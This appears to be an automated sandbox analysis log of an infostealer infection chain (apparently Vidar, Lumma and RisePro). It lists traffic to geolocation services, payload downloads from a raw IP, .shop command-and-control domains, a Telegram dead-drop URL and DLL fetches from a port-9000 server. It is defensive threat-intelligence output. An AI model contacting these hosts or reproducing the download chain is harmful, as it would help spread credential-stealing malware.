00 00 ec 1f 00 00 00 40 08 00 00 20 00 00 00 16 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /memve4erin HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 162.55.53.18 162.55.53.18
Source: Joe Sandbox View	IP Address: 5.42.67.8 5.42.67.8
Source: Joe Sandbox View	IP Address: 104.26.4.15 104.26.4.15

Source: Joe Sandbox View

ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: HEAD /rise1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rise1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /vidar1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vidar1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lumma1906_2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma1906_2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004C8590 recv,WSAStartup,getaddrinfo,closesocket,socket,connect,closesocket,freeaddrinfo,WSACleanup,freeaddrinfo,

3_2_004C8590

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /memve4erin HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /rise1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vidar1906.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma1906_2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: justifycanddidatewd.shop
Source: global traffic	DNS traffic detected: DNS query: marathonbeedksow.shop
Source: global traffic	DNS traffic detected: DNS query: feighminoritsjda.shop
Source: global traffic	DNS traffic detected: DNS query: pleasurenarrowsdla.shop
Source: global traffic	DNS traffic detected: DNS query: falseaudiencekd.shop
Source: global traffic	DNS traffic detected: DNS query: raiseboltskdlwpow.shop
Source: global traffic	DNS traffic detected: DNS query: strwawrunnygjwu.shop
Source: global traffic	DNS traffic detected: DNS query: richardflorespoew.shop

Source: RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Https://162.55.53.18:9000al
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma1906_2.exe
Source: RegAsm.exe, 00000003.00000002.1876952475.000000000579F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma1906_2.exelF
Source: RegAsm.exe, 00000003.00000002.1876952475.000000000579F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma1906_2.exes
Source: RegAsm.exe, 00000003.00000002.1876914616.0000000005773000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/rise1906.exe
Source: RegAsm.exe, 00000003.00000002.1876914616.0000000005773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/rise1906.exe~R
Source: RegAsm.exe, 00000003.00000002.1876952475.000000000579F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/vidar1906.exe
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/vidar1906.exeance.com
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 00000003.00000002.1876041110.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adp/1.0/
Source: RegAsm.exe, 00000003.00000002.1876041110.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/1b
Source: RegAsm.exe, 00000003.00000002.1876041110.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 00000017.00000002.4154237798.000000001B9BD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, sqlt[1].dll.23.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, JNXEsB3lt_ta57yvH0nX.exe, 0000000B.00000002.1855690126.0000000000068000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000C.00000002.1889587614.0000000000A48000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 00000010.00000002.1932454219.0000000000A48000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18/
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18/;
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/.53.18:9000/
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/.53.18:9000/0
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/2f2b3osoft
Source: RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/7
Source: RegAsm.exe, 00000017.00000002.4149675758.0000000001292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/;P
Source: RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/G
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/freebl3.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/freebl3.dllO.&d
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/freebl3.dllQ.
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/l
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/mozglue.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/mozglue.dllD.
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/msvcp140.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/msvcp140.dll2.-d
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/msvcp140.dllEdge
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/nss3.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/nss3.dll$
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000125A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/nss3.dll_
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/nss3.dlloft
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/softokn3.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/softokn3.dll2
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/softokn3.dllEdge
Source: RegAsm.exe, 00000017.00000002.4148168459.0000000000491000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/sqlt.dll
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dll
Source: RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dll000/nss3.dll
Source: RegAsm.exe, 00000017.00000002.4149696062.000000000129B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dll;NTd&
Source: RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dllUser
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dllc
Source: RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000/vcruntime140.dllw
Source: RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000AEBMac
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000al
Source: RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000ming
Source: RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://162.55.53.18:9000tel
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/9
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/?
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/J
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33d
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33n
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33rl9
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33j
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33s-origin
